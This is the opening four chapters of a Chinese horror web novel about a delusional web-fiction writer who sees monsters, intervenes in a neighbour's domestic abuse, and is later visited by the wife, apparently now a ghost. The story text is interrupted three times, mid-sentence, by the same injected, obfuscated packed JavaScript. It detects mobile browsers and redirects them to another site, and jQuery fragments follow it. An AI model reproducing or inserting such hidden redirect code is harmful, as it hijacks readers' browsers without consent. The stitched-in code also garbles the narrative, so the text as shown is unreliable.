《诡异之主竟是我自己》
1. 第 1 章
坠落,他在持续向下坠落。
仿若无底的黑洞,又似无尽的深渊,没有尽头。
周围是一片幽暗,无边无际的黑将他紧紧包裹。
在这片死寂的黑暗里,时间也失去了意义,漫长到让宴泠昭产生了一种错觉:自己与这黑暗融为一体,成为了它的一部分。
......
不知过去了多久,一阵嘈杂的声响突然爆发出。
是凄厉的哭声、绝望的尖叫声、无助的祈求声,夹杂着物体崩塌时沉闷的断裂声......各种声音交织在一起,震得宴泠昭脑袋胀痛欲裂。
就在宴泠昭几乎要被这混乱的声音淹没时,一切戛然而止,就好像有人按下了静音键,世界再次回归寂静。
宴泠昭紧皱的眉缓缓舒松开。
但很快,又一个声音响了起来。
【你是谁?】
这个声音宴泠昭非常熟悉,是他每天都能听得到的声音。
两秒后,那个声音再度响起,只是这次问的是:【我是谁?】
话音刚落,“咔哒”一声轻响,类似按下圆珠笔的声音。
紧接着,一点光亮在宴泠昭的视野中心亮起,而后如涟漪般向四周蔓延开。
随着光亮逐渐扩大,周围的景象慢慢清晰起来——白色的天花板、白色的墙面。以及,坐在对面的医生。
医生手中拿着一个怀表,刚刚那道“咔哒”的声响,正是他按下怀表所发出的声音。
见青年睁开眼睛醒来,医生微微前倾身体,目光温和的看着宴泠昭,问道:“感觉如何?”
宴泠昭没有立刻回答,他的思绪仿佛还游离在刚才那片黑暗与混乱之中,神魂收拢得极为缓慢,过了好一会儿,才慢吞吞的回道:“和之前差不多。”
那不就是没有效果。
医生很想叹气,但是他不能。他望着神色恹恹、靠坐在椅子里的青年。
青年长相十分出众:一双狐狸眼眼型狭长,眼尾微微上扬。唇色殷红,但是唇薄。脸小,轮廓精致流畅。配合上总是耷拉着眼皮,一副无精打采的样子,无端生出些厌世的冷淡感。
医生不禁想到家里读高中的女儿。
女儿房间贴满了当下很火的一个男团的海报。那些男明星妆容浓重,医生实在欣赏不来,奈何女儿喜欢,说那叫什么烟熏妆,是流行趋势,可医生觉得花里胡哨的,实在算不上好看。
相比之下,眼前的青年清爽自然多了,简简单单就十分耐看。
——当然,前提是人家底子原本就好。
***
照例开了一个疗程的氯丙嗪,医生神情认真的嘱咐青年:“务必按时就医,如果日常有任何异样,随时联系我。”言罢,示意宴泠昭可以离去。
今日天气很好,天空湛蓝澄澈,不见一丝云翳。又恰逢周末。
携家带口的家长、甜蜜依偎的小情侣、悠然踱步的老人、牵狗闲逛的年轻人......人群密度着实有些过于浓了。
身为社恐,宴泠昭对拥挤人潮有着本能的抵触。他低垂下眼,加快步伐朝着家的方向走去。
宴泠昭家距医院仅两个公交车站的路程,步行不过十几二十分钟。
随着他渐行渐远,身后喧闹的人群逐渐稀疏,街道归于平静,只剩寥寥几个模糊的身影。
小区大门就在眼前。
然而宴泠昭却在这时停住了脚步。
——一颗球直直滚来,精准地撞在他的脚尖,然后静止不动。
宴泠昭低头望去,只见这颗球一面绘制着扎着羊角辫的后脑勺,另一面则勾勒出一副可爱的人脸。
“又在玩球啊,小玲。”宴泠昭语调平稳,听不出丝毫波澜。
旋即,一个身着红裙的小女孩从小区里跑了出来。
宴泠昭的视线扫过小女孩的身体,最后停在她断裂的脖子处。横截面血肉组织清晰可见,外翻的肌肉、流淌的鲜血,散发着刺鼻的腐臭气息。
“对......对不起,我不是故意的。”空洞的声音从那没有头的躯体中传出,语气颤抖着、充满惧意。
宴泠昭神色未动,目光平静的凝视着眼前这具无头身体,心知自己多半是又犯病了。
——宴汵昭患有精神类疾病,医生诊断为妄想症。病症主要体现为认知扭曲:他眼中的世界与常人不同,看到的都是些奇奇怪怪、恐怖诡异的东西。
最开始宴泠昭还会被吓到,后面就慢慢习惯了。
主要是不习惯也不行。
以及幸好变异的画面都是固定的,譬如住在他家楼下就读小学二年级的王玲玲,每次‘变异’都是没有头、身穿红裙子的形象,还总抱着自己的脑袋,特别好认。
宴泠昭弯腰捡起球,将球递到无头身体面前,“没关系,没伤到我,只是滚到我脚边而已。不过你还是注意点安全,不要跑到大马路上来玩,马路上车来车往,很危险。”
无头身体抱紧皮球,紧张地点了点头,随后转身跑进小区,很快就消失在了宴泠昭的视线范围里。
***
直到看不见那道诡异恐怖的无头身体,宴泠昭才收回视线,然后抬头,望向天空。
刚才还澄澈如洗、一片湛蓝的天空,此刻变成了不详的红色;太阳则变成了黑红色,呈现出一种毛茸茸的质感,且变得巨大。
宴泠昭凝视着太阳,随着凝视的时间越来越长,他的视线不受控制的被无限拉远。
......终于。他看清了太阳之所以呈现出毛茸茸的质感,是因为上面密密麻麻长满了扭曲蜿蜒的触手。那些触手不停地扭动着,时不时有黑色的浓稠液体从上面滴落。
心中涌起一阵恶寒,宴泠昭低下头,抬脚走进了小区。
路过保安亭的时候,他下意识的往里面瞥了一眼。
保安大爷依旧保持着那个一成不变的姿势——趴在桌子上,一动不动。
宴泠昭住的小区是个老小区,物业管理向来松散,几乎处于放任自流的状态。据说保安的工资也低得可怜,连正常水平的三分之一都没有,能招到人就谢天谢地了。
小区居民对此心知肚明,因而压根不指望保安能提供什么实质性的保护,只盼着万一出了事,他能及时报警就行了。
宴泠昭住在四楼。
踏上楼梯,一路上尽是剥落的墙皮,零零散散地掉落在台阶上。楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429675|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梯的扶手是铁制的,由于年代太过久远,表面生满了铁锈,斑斑驳驳,散发着陈旧腐朽的味道。
老小区的格局是一梯两户,两户人家门对门。
宴泠昭来到自家门前,伸手从口袋里掏出钥匙,准备开门。
就在这时,对面突然传来“哐哐”砸东西的声响,打破了楼道里原本的安静。
宴泠昭对门住着的是一对新婚不久的夫妻,结婚时贴在门上的喜字都还未揭,这才过去多久,他们夫妻之间的感情就已经走到了破裂的边缘。
宴泠昭眉头微蹙,心中并无过多波澜。
倒不是他冷漠无情,而是他之前已经尝试过多次介入此事:曾不止一次拨打报警电话,可最终都收效甚微;提出带女方去找附近的妇联寻求帮助,又被女方一次次拒绝。
久而久之,宴泠昭决定不再多管闲事。
将钥匙插入钥匙孔,手腕轻轻用力,顺时针转动。伴随一声悠长而刺耳的“吱呀”声,门缓缓打开。
宴泠昭抬脚迈进家门,而后侧身关门。
就在门合上的瞬间,他眼角的余光瞥见对面邻居家的门缝里流出大股鲜血。
宴泠昭顿住。
他不知道这股鲜血是对面出事了的预兆,还是单纯的病症发作导致的‘变异’。
宴泠昭在门口站了会儿,神色淡漠,眼神放空,像是在漫不经心的思考着什么。
几秒钟后,他走进厨房,面无表情地拿起菜刀,握在手里,接着,平静地打开自己家刚关上的门,两步走到邻居家门前。
抬起手,敲响了邻居家的防盗门。
叩叩、叩叩叩。
邻居家里面传出的各种杂乱噪音瞬间停止。
过了一小会儿,一道低沉喘着粗气的男音带着明显的不悦和警惕问道:“干什么?”
宴泠昭声音平淡的说:“我怀疑你虐待妇女,开门。”
门内传来一阵拖沓的脚步声,紧接着“哗啦”一声,防盗门上的猫眼盖子被拨开,一只眼睛向外窥视,看见是宴泠昭,门内的男人抽了抽脸皮,低吼道:“别他.妈胡说八道,不关你的事你别管。”
宴泠昭不为所动,依旧冷冷地站在原地,声音没有一丝起伏:“你最好把门打开。”
“我就不开,你能拿我怎样?”
宴泠昭不语,只是偏头斜睨了一眼自己手中泛着寒光的菜刀。
男人下意识顺着他的视线看去,自然也看到了那把菜刀。
刹那间,男人的脸色涨得通红,像是憋了极大的火气,眼白充血,分不清是因为恐惧还是愤怒,又或许两种情绪都有,让他整个人看起来格外狰狞。
“你为什么老是帮那个女人,啊?你是不是那个臭娘们的情人!”男人扯着嗓子怒吼,声音因极度愤怒而颤抖,仿佛下一秒就会做出不理智的冲动行为。
宴泠昭连眼皮都没动一下,只是再次重复道:“开门。”
男人被宴泠昭淡然又挑衅的态度彻底激怒,他猛地扬起拳头,狠狠捶在门上,“砰”的一声巨响,在楼道里回荡。
可即便如此,他也没有开门,只是站在门后,恨恨的瞪着宴泠昭,粗重的喘息声透过门缝溢出。
2. 第 2 章
僵持许久,男人最终还是咬牙打开了门。
宴泠昭抬脚迈进屋内。
男人比宴泠昭高出一个头,体格也比宴泠昭健硕,然而却被宴泠昭轻易地撞开,毫无抵抗之力。
这便是男人不愿开门,且对宴泠昭隐隐怀有惧意的缘由——别看宴泠昭表面上瘦削单薄,实则特别能打。
之前宴泠昭帮助女人时,男人就对宴泠昭动过手,结果不用多说。
屋内一片混乱,破碎的杯子散落一地,玻璃碴闪烁着寒光;相框歪倒在一旁,边框已然裂开,照片中男女主的笑容显得格外讽刺......
客厅角落,一个女人蜷缩成一团。她全身颤抖着,仿佛一只受伤后惊恐的小动物。
宴泠昭走过去,垂下眼眸,看着鼻青脸肿的女人,语气平淡的道:“走吧,我送你去医院。”
女人嘴唇紧抿,缓缓抬起头,本想看向宴泠昭,目光却不经意间扫到丈夫那充满愤恨、涨得通红的双眼。
——男人正恶狠狠的盯着她,眼神中满是威胁之意。
女人触电般打了个寒颤,眼中瞬间被绝望与恐惧填满。犹豫片刻后,她终究还是拒绝了宴泠昭的善意,声音带着一丝颤抖:“不、不用了。”
宴泠昭定定的看着女人,沉默了两秒,没有多言,蹲下身,将菜刀塞进女人手中。
女人一怔,惊愕的望向宴泠昭。
宴泠昭依旧一言不发,只是用那双黑白分明的眼睛平静的注视了女人几秒,随后,起身往门口走。
男人之前被宴泠昭撞得生疼,此刻见宴泠昭靠近,下意识往旁边挪了两步。
其实两人之间的距离足够宽敞,他无需如此,但内心深处对宴泠昭的恐惧,导致男人条件反射做出了这样的行为。
宴泠昭回到自己家中,关上房门。
几乎同时,对门传来“砰”的一声巨响。
隐隐还能听到两人争吵的内容。
“说!你是不是又在外面勾引人,那小子就是你勾引来的又一个情夫!”男人愤怒的吼声穿透薄薄的墙壁,传进宴泠昭耳中。
“我没有,你不要乱污蔑人!啊——”女人的哭喊声尖锐刺耳。
宴泠昭抬手用力锤了下门。
老旧居民区的隔音效果极差,平日里哪怕是轻微的咳嗽声都能听得一清二楚,更何况是这般用力捶门的动静。
果然,对面很快就安静了下来,楼道再次恢复寂静,只是这份寂静中,弥漫着一丝压抑的氛围。
宴泠昭掏出手机瞥了一眼屏幕上显示的时间——下午5点。
或许是刚刚被对门那无休止的争吵吵得心烦意乱,此刻的宴泠昭只觉一阵疲惫袭来,浑身乏力。
他拖着略显沉重的步伐走到饮水机旁,接了一杯温水,从口袋里摸出医生开的药,就着水吞服下去,随后躺在沙发上。
药物的效果发作得很快,没多久,宴泠昭就合上眼,沉沉睡去。
房间里安静极了,只有墙上挂着的时钟发出“滴答滴答”的声响。
分针一格一格地走着,时针也在不知不觉中转了一圈又一圈。
不知过去了多久,天色逐渐黯淡,暮色如同一块巨大的幕布,笼罩了整座城市。
当宴泠昭醒来时,房间里漆黑一片。好在皎洁的月光如轻纱般洒进来,多少驱散了一些黑暗,不至于让人伸手不见五指。
抬眸望向窗外,天空呈现出正常的深邃色泽,月亮也散发着一如既往纯净而柔和的银白光辉。
但仅凭这些表象,宴泠昭无法确定自己的病有没有好。不过考虑到才吃了药,应该是好了的......吧?
宴泠昭患有幻想症(医生诊断),每当发病的时候,如果是白天,太阳会变得奇形怪状,天空也会扭曲变色,呈现出诡异的模样。
可若是在夜晚发病,月亮和天空却并不会出现异常变化。
其实看人也是如此。
就拿对门那对小夫妻来说,无论何时,在宴泠昭眼中都是正常的模样。
真正会变异的,目前也就只有楼下的王玲玲,以及个别几个邻居,总体数量不算多。
宴泠昭也不知道原因,这种变异似乎是随机‘触发’。
***
下午睡得有些久了,宴泠昭一时半会不困。
反正他不用上班,时间自由,不必担心明天起不来。
况且,宴泠昭在晚上思维更活跃,写起小说来也更得心应手。
——宴泠昭是一名作者,并非传统文学领域的创作者,只是一名写网文的小作者罢了。
给自己冲了一杯速溶咖啡,热气腾腾的咖啡散发出浓郁醇厚的香气。
随后,宴泠昭在电脑桌前坐下,点击鼠标,打开作者后台和文档,准备全身心投入到创作工作中。
时间在键盘的敲击声中悄然流逝,两个小时转瞬而过。
宴泠昭停下手中的动作,望向电脑屏幕上显示的字数:1837。
宴泠昭:“......”
他卡文了。
最近这段时间,宴泠昭一直没有什么灵感。
这主要是因为他创作的灵感源泉,来自他犯病时眼中那个恐怖诡异的世界。
但在那个‘世界’里,会变异的角色就那么几个:楼下的王玲玲,以及为数不多的几个邻居......
在都写完了的前提下,实在是没有新的素材可供挖掘,他的创作自然而然陷入了僵局。
宴泠昭盯着显示屏发了一会儿呆,突然,他想到了什么,点开评论区,想看看评论区里有没有内容能触发他的灵感。
【读者1:呜呜呜老大为什么还不更新,三天了!生产队的驴都不敢这么休息!(大哭)】
【读者2:好久没有看到这么纯粹、没有苦衷、纯恶意的惊悚文了,老师快更新,好喜欢!】
【读者3:老师笔下的鬼怪都这么恐怖的吗......睡不着觉了qaq】
【读者4:就是因为恐怖才让我们欲罢不能啊!多来点!(掏出小碗)】
【读者5:我来啦!老样子,红裙子讨论专区:链接******】
宴泠昭滑动鼠标点进去,是一个论坛帖子。
[#红裙子集中讨论区#]
1L
rt
2L
我宣布红裙子篇封神!
3L
我的评价是不如孤老(滑稽)
4L
妈呀,孤老人打来了,快跑!(吃瓜)
5L
这里是红裙子专区,眼睛不需要可以捐了(磨刀)
-省略吵架楼-
45L
别吵了,把引战的拉黑就行了,吵来吵去都是那几个人= =
46L
听ls的,拉黑了,顿时清爽多了
47L
回归正题,我先来。
我认为红裙子篇并不单纯是恶,红裙子的奶奶有80%的责任。
48L
经典耀祖,秒了
49L
也不能全怪奶奶吧,红裙子的弟弟当时也很危险啊,总的来说两难全,只能选一个
50L
呵呵,是啊,不怪奶奶,平时什么好的都可着弟弟,姐姐连衣服都没几件。成功把弟弟养成了熊孩子,说了多少遍不能玩水,他非要去,结果落水了,姐姐是为了救他才下水的,不然不会溺水。奶奶选择先救弟弟,当时姐姐都已经沉下去了,明明先救姐姐,弟弟也死不了
51L
姐姐也不是淹死的啊
52L
对,不是淹死的,但因为呛水严重对肺造成了很严重的不可逆损伤,最后发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429676|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
病活活憋死的!当时姐姐犯病的时候弟弟在场,弟弟却只顾着玩自己的!要我说,是奶奶和弟弟一起害死的姐姐!其中弟弟责任更大!
53L
弟弟才七岁,七岁的孩子不懂事......
54L
笑死,谁不是从孩子长大的?我能不知道七岁到底懂不懂事?
55L
嗨呀,知道大家生气,但红裙子难道就是什么好人了吗?她后面杀了那么多人,并不无辜哈
56L
ls真好笑,红裙子是生前杀的人?她杀人是死后的事!鬼又没有感情,只要闯入她的地盘,谁她都杀
57L
生前死后就不是一个人了?
58L
热知识:作者的设定里人死后变成的鬼没有感情。且鬼对人存在强烈杀意。
59L
妈呀,居然能因为这个吵起来?不理解你们争的点
60L
这楼都歪成什么样了......进来前,我以为你们聊的是红裙子的剧情。进来后,你们居然在吵红裙子是好是坏(老人,地铁,手机)
......
并没有能为他提供灵感的内容。
宴泠昭关闭网页,向后仰躺,把全身的重量都压在椅子上,整个人呈一种极为放松的姿态。
算了,再休息(鸽)两天吧。
望着天花板出了一会神,宴泠昭拿起手机,刷起了短视频。
不知不觉,天边泛起了鱼肚白。宴泠昭这才意犹未尽地放下手机,上床睡觉。
再次醒来时,阳光已经透过窗户,均匀的铺满房间的每一个角落。
一看时间,十二点半。
宴泠昭揉了揉惺忪的睡眼,慢悠悠地起身,简单地洗漱一番,换上衣服出门买菜。
今天中午就炒个西红柿鸡蛋,辣椒炒肉......嗯,再煮个白菜豆腐汤吧。
在心里默默盘算着菜单,宴泠昭朝家附近的菜市场出发。
很快,宴泠昭就来到了菜市场。
轻车熟路的先来到蔬菜区,将所需的素菜采购齐全。
......鸡蛋家里冰箱还有存货,就差肉了。
宴泠昭脚尖一转,朝着另一边的肉类区走去。
这个菜市场规划得很清晰,蔬菜区和肉类区是分隔开来的。
宴泠昭在肉类区随便找了一个肉铺摊,摊位上的红色灯光照在鲜红的生肉上,看起来十分诱人。
宴泠昭的目光在众多肉块中扫视一圈后,指着一块纹理清晰的里脊肉说道:“老板,给我切半斤。”
肉铺老板身形极为高大,目测差不多有两米,身材壮硕得如同小山一般,圆滚滚的肚子向前挺着。
听到宴泠昭的要求,老板爽朗一笑:“好嘞,客人。”话音刚落,只见他手起刀落,动作娴熟且精准无比,眨眼间就分割出了半斤里脊肉。
将肉用塑料袋仔细装好,放在秤上确认重量无误后,微笑着递给宴泠昭。
宴泠昭付完钱,接过塑料袋,转身准备离开菜市场。
就在这时,他察觉到有一道异样的目光落在自己身上。转头看去,是一个年轻女孩,对方脸上满是惊恐的神情,正死死的盯着自己。
宴泠昭一愣,下意识地顿住脚步,回头看了一眼。
肉铺老板和他对上视线,友好的对宴泠昭笑了一下。宴泠昭点点头,算是礼貌回应,而后转回头,继续向前走去。
他实在没看出有什么特别之处。
嗯......总不能是因为他吧。
宴泠昭本也不是那种好奇心爆棚的人,因此没有过多探究,很快便消失在了熙熙攘攘的菜市场中。
他不知道的是,在那个年轻女孩的眼中,他的形象截然不同——那是一个身形庞大的恐怖存在......
3. 第 3 章
宴泠昭在楼道里碰到了正要出门的女人。
女人戴着一只宽大的口罩,应该是想要遮挡脸上的伤痕。但她肿起的眼睛、以及眼角处清晰明显的淤伤,口罩可遮掩不住,反给人一种欲盖弥彰的感觉。
“小、小晏。”女人眼神中透着一丝尴尬与慌乱,轻声打了声招呼,声音带着些许颤抖。
宴泠昭淡淡的“嗯”了一声,目光随意的扫了女人一眼,问道:“去哪?”
女人像是被戳中了心事,低下头,双手不自觉地紧紧攥着衣角,手指因用力而泛白。
她嗫嚅着,声音小得细若蚊呐:“去我妈家一趟。对了,我想好了......我决定离婚。”说完,她小心翼翼的抬眼看向宴泠昭,似乎在期待着什么回应。
宴泠昭闻言凝视了女人几秒,目光平静如水,点了下头,语气波澜不惊:“挺好的。”
话音落下,楼道里一时陷入了沉默。
女人见宴泠昭没有再开口的意思,低声说了句“拜拜”,便匆匆加快脚步,向楼下走去。
宴泠昭则踏上最后一级阶梯,来到自家门口。将装着菜的塑料袋换到左手,腾出右手准备掏钥匙开门。
指尖刚触碰到冰冷坚硬的质感,一股若有若无的味道顺着空气悄然涌入宴泠昭的鼻腔。
有些刺鼻,带着一丝奇怪的腥味。
宴泠昭回头看了眼对面。邻居家扇防盗门紧闭,没有任何异样。
垂眸想了想,可能是女人在家里面杀鸡了吧。
不在意的转回头,宴泠昭拿出钥匙,插入锁孔,打开了房门。
***
炉灶上的火焰欢快跳跃,锅里的油渐渐升温,随着食材入锅,“刺啦”一声,油烟升起,诱人的香味瞬间在空气里弥漫开来。
......
吃完饭,收拾卫生,将洗净的碗筷一一归位。
正要离开厨房,余光不经意扫到角落里的米箱,这一瞥,让宴泠昭想起一件事。
他转身走向米箱,抓了一把米,来到阳台。
将生米均匀地撒在窗沿边。没过多久,叽叽喳喳的鸟鸣声传来,几只圆滚滚的麻雀闻香而至,落在窗沿上啄食米粒。
它们小巧玲珑的模样可爱极了,宴泠昭忍不住伸出食指,动作极为轻柔、小心翼翼的朝离自己最近的麻雀摸去。
......毛茸茸的。
麻雀生性警惕,绝大多数情况下,人还未靠近,它们就会警觉地振翅飞走。
宴泠昭之所以能如此近距离地接触这些小家伙,是因为他投喂它们有一段时间了。
不过,宴泠昭也不是天天投喂,大概两三天喂一次的样子。
试探出这只麻雀并不抵触自己的抚摸,宴泠昭唇角微微上扬,指腹顺着麻雀的羽毛轻轻捋了好几下。
意满离。
刚要收手,宴泠昭忽然发现麻雀嘴边的羽毛有一块醒目的红色。
不会是受伤了吧。
宴泠昭凑上前,想要仔细地观察一番确认情况。然而,他突然凑近的举动,惊吓到了这只敏感的小鸟——几乎是他刚有动作的瞬间,小鸟便扇动翅膀扑棱棱地飞走了。
毕竟,对于一只仅有掌心大小的麻雀而言,身高一米八的成年男性无疑如同庞然大物。
允许对方伸手摸一下自己,已是极大的信任。整个上半身都压下来就不一样了。
宴泠昭显然也意识到自己的行为有些冒失,但可惜为时已晚。
算了。
收回手,宴泠昭转身回到客厅,整个人窝在沙发里。然后伸手拿过放在桌上的平板,打算找部恐怖片观看,期望能从影片中汲取一些灵感,打破目前创作的瓶颈。
通过排行榜,宴泠昭随意挑选了一部排名较为靠前的影片,点击播放。
熟悉的电影开场画面映入眼帘。
宴泠昭将平板架在合适的位置,调整了一个舒适的姿势,全神贯注的开始看片。
影片开头,一上来就是一段令人揪心的暴力场景。
画面中,女主被男主打得头破血流。而这场暴行的起因,仅仅是男主怀疑女主在外面有了别的男人。
可事实上,女主只不过是跟同事因为工作上的事情正常说了几句话而已。
面对这样无端的猜忌和暴力,女主深感无奈,最终选择辞去工作,试图以此平息男主的怒火。
她的同事兼好友得知此事,苦苦劝说她不要冲动辞职,奈何女主心意已决,并未听取劝告。
事实证明,女主辞职后的生活并未如她所愿迎来转机。反倒因为失去了稳定的经济来源,女主陷入窘迫的境地。
男主也不仅没有收敛,反而变本加厉,对女主的拳打脚踢愈发频繁凶狠,让女主陷入了无尽的黑暗深渊。
随着剧情推进,女主的日子愈发艰难。失去工作后,她不仅要承受经济上的压力,还要面对男主无休止的折磨。男主稍有不顺心,便对女主拳脚相加,家中时常回荡着女主痛苦的哭声和求饶声。
在这种非人的折磨下,女主的身体和精神状态每况愈下。
终于,在一个狂风暴雨的夜晚,男主再次失控,对女主施以毒手。
女主无力反抗,倒在冰冷的地板上,在绝望与痛苦中,含恨而死。
男主最开始提心吊胆,深怕被人发现,睡睡不好,吃吃不好,过了好些天浑浑噩噩的日子。
好在女主早年父母双亡,也没有亲近的亲戚,朋友更是没几个,唯一关系比较好的那个在女主辞职后也疏远了。
因此,女主的消失没有引起任何人的注意。
随着时间的流逝,男主渐渐忘记了恐惧和害怕,还升职加薪了,小日子过得别提有多滋润。
不过,渐渐的,奇怪的事情开始接连发生。
夜晚,男主总能听到隐隐约约的哭声,时而凄惨,时而哀怨;每当他入睡,梦中都会出现女主满脸是血、狰狞怨恨的恐怖模样,吓得他从梦中惊醒,冷汗淋漓。
一天夜里,男主鬼混完回到家中。刚打开灯,就看到客厅的墙上出现了一行血字:“你逃不掉的。”字迹歪歪扭扭,散发着令人毛骨悚然的气息。
男主惊恐万分,想要逃离这个可怕的地方,却发现门怎么也打不开。
这时,一阵阴风吹过,灯光开始闪烁不定。
女主的身影缓缓浮现,她双眼流着血泪,头发凌乱地披散在肩头,手里拿着菜刀,一步步朝男主逼近......
锋利的刀刃划破空气,发出“嘶啦”的尖锐声响。
一刀,又一刀,殷红的鲜血飞溅而出,喷洒在墙壁、地面,也溅在女主死白恐怖的脸上。
男主的惨叫声在房间里回荡,他的身体在剧痛中不停地颤抖,双手徒劳的想要抵挡女主的攻击,却只是在空气中胡乱挥舞。
终于,在遭受了数不清的刀砍之后,男主的身体抽搐了几下,喉咙里发出几声微弱的呜咽,便没了动静。而那双瞪大的眼睛,充满了惊惧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429677|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
不久后,刺耳的警笛撕破空气。
......
屋内弥漫着浓烈的血腥气。
法医戴着口罩手套,蹲下身,神色专注的观察死者的尸体。他先是粗略的上上下下看了一通,随后打开手里的手电筒,照向死者的眼睛。
通常情况,人死之后,瞳孔里会留存咽气前映入眼帘的最后画面。
在明亮灯光的映照下,法医仔细端详死者的瞳孔。
死者眼睛里定格的画面就是他现在所‘看’的地方。除此之外,什么特别的东西都没有。
电影画面随之渐渐暗了下去,屏幕上开始滚动播放制片名单。
经常看电影的人都知道,一般最后还会有一个神秘的小彩蛋。
果不其然,屏幕黑了几秒后,再度恢复亮光。
雨夜,无人的街道。
绵绵细雨“噼里啪啦”地砸落在地面,溅起一朵朵水花。
一个女人步伐飘忽不定地游荡在街头。她的头发湿漉漉地贴在脸颊两侧,眼神空洞死寂,嘴里不时发出含糊不清的呢喃。
不远处,一个抱着公文包的男人正匆匆赶往这个方向。他身着整齐的西装,看得出是一名忙碌的上班族。
突然,男人停下脚步,因为他看到前方有个奇怪的女人挡住了去路。
一股莫名的恐惧涌上心头,男人皱起眉头,眼神中透露出一丝不安。犹豫了几秒钟,为了少走点路,男人选择硬着头皮快步冲过去。
反正,一个柔柔弱弱的女人能对自己造成什么实质性的伤害呢?
就在男人与女人擦肩而过的瞬间,女人自然下垂的手中不知何时多出了一把菜刀。同时,紫白的嘴唇裂开,嘴角则夸张地撕裂延伸至后耳根,露出一排整齐的牙齿,牙缝间渗着丝丝红色,像是刚吸食过鲜血。
她的眼珠朝着男人那边的方向猛地一瞥,直接移动进了眼球后方,刹那间,眼眶里只剩下一片骇人的眼白,诡异至极。
“嘻嘻嘻哈哈哈!”女人发出一阵尖锐刺耳的笑声。
紧接着,她以一种超乎常人理解的扭曲动作,高高举起手中的菜刀,手臂上青筋暴起,整个人因极度的兴奋而微微颤抖,朝着男人狠狠捅去。
伴随男人的惨叫,电影彻底落幕。
嗯......
怎么说呢。
前半段剧情有种熟悉的既视感。
***
就在宴泠昭想着要不然再拖更几天的时候——反正他写的是单元文,上一单元已经圆满完结,如今相当于开启一篇全新的文章,就算一段时间不更新,也在情理之中。
这天夜里,突兀地响起一阵敲门声。
“咚、咚、咚”
正在刷手机的宴泠昭抬起头,起身打着哈欠慢悠悠地走到门口,先是凑近猫眼向外瞄了一眼,见门外站着的是对门的女人,打开了门。
门刚一打开,一股潮湿的气息扑面而来。
宴泠昭下意识看了眼窗外,今晚并没有下雨。
不过他记得前两天倒是下了一场大雨。
......或许是女人刚洗了澡吧,身上带水汽也正常。
并没有多想,宴泠昭收回目光,看向女人,问:“什么事?”
女人脸上露出一个温柔的笑容,轻声说道:“一直想找个机会感谢你的帮助,不知......你现在有没有空?我想请你吃顿饭。”
宴泠昭看了眼手机
凌晨两点。
4. 第 4 章
谁家好人会在凌晨两点请人吃饭。
宴泠昭本来想拒绝,话都已经含在嘴里,即将脱口而出,一阵强烈的饥饿感突然袭来。
是了,他今天就只吃了一餐午饭,后面就沉迷玩手机、刷剧拉片。算算时间,已经十多个小时了,不饿才怪。
宴泠昭望着女人充满诚挚的眼睛,到嘴边的拒绝之词吞了回去,换成:“那麻烦了。”
女人脸上的笑容瞬间绽放得更加灿烂,“不麻烦。”
宴泠昭跟着女人走进她家。
一进门,宴泠昭首先打量了一圈。
——摔碎的玻璃杯换了新的,鞋架上只剩下女人的鞋子,曾经摆在显眼位置的结婚照以及各种合照均消失得无影无踪;沙发上添置了几个可爱柔软的抱枕,旁边的花瓶里插着娇艳欲滴的鲜花,给整个房间增添了几分温馨的气息。
种种迹象令宴泠昭不由自主想起女人不久前说自己打算离婚的话。
他还以为这事儿没那么容易,会多花些时日,甚至女人最后反悔,又决定不离婚......唯独没想到女人的行动会这么快。着实有些超乎他对她的印象了。
至于为什么走的是男人不是女人。
这套房子是女人父母的,老人去世后,女人便继承了这处房产。既然房子归女人所有,那么要离开的自然是男人。
不过以那个男人的性子,他居然会心甘情愿搬走?
宴泠昭虽然觉得奇怪,却没打算多问。
一来,随意打听别人的家事很不礼貌;二来,他本身也没那么旺盛的好奇心,非要打破砂锅问到底不可。
“你先坐,我去端菜。”女人轻声细语的说道。
宴泠昭点点头,在沙发上坐下。
很快,女人便端着菜走了过来,一一摆在茶几上。
宴泠昭看了一眼:红烧肉、椒炒肉、炖肉汤......没有一个素菜。
收回目光,宴泠昭一边起身一边说:“我去拿碗筷。”
女人见状,连忙伸手制止,“不用。家里地方小,厨房就在旁边,几步路的事,东西也不沉。你就安心坐着吧,你一动我反而不好意思。”
看起来女人也有点社恐属性。
宴泠昭很是理解,听劝地坐回了沙发。
随后,女人一来一回将碗筷和电饭煲都陆续端了过来。
饭菜全部上齐后,女人热情的招呼宴泠昭多吃点。
说实话,大半夜的,宴泠昭并不想吃油腻荤腥的东西。但人家好心请吃饭,再挑三拣四就不礼貌了,大不了少吃一点便是。
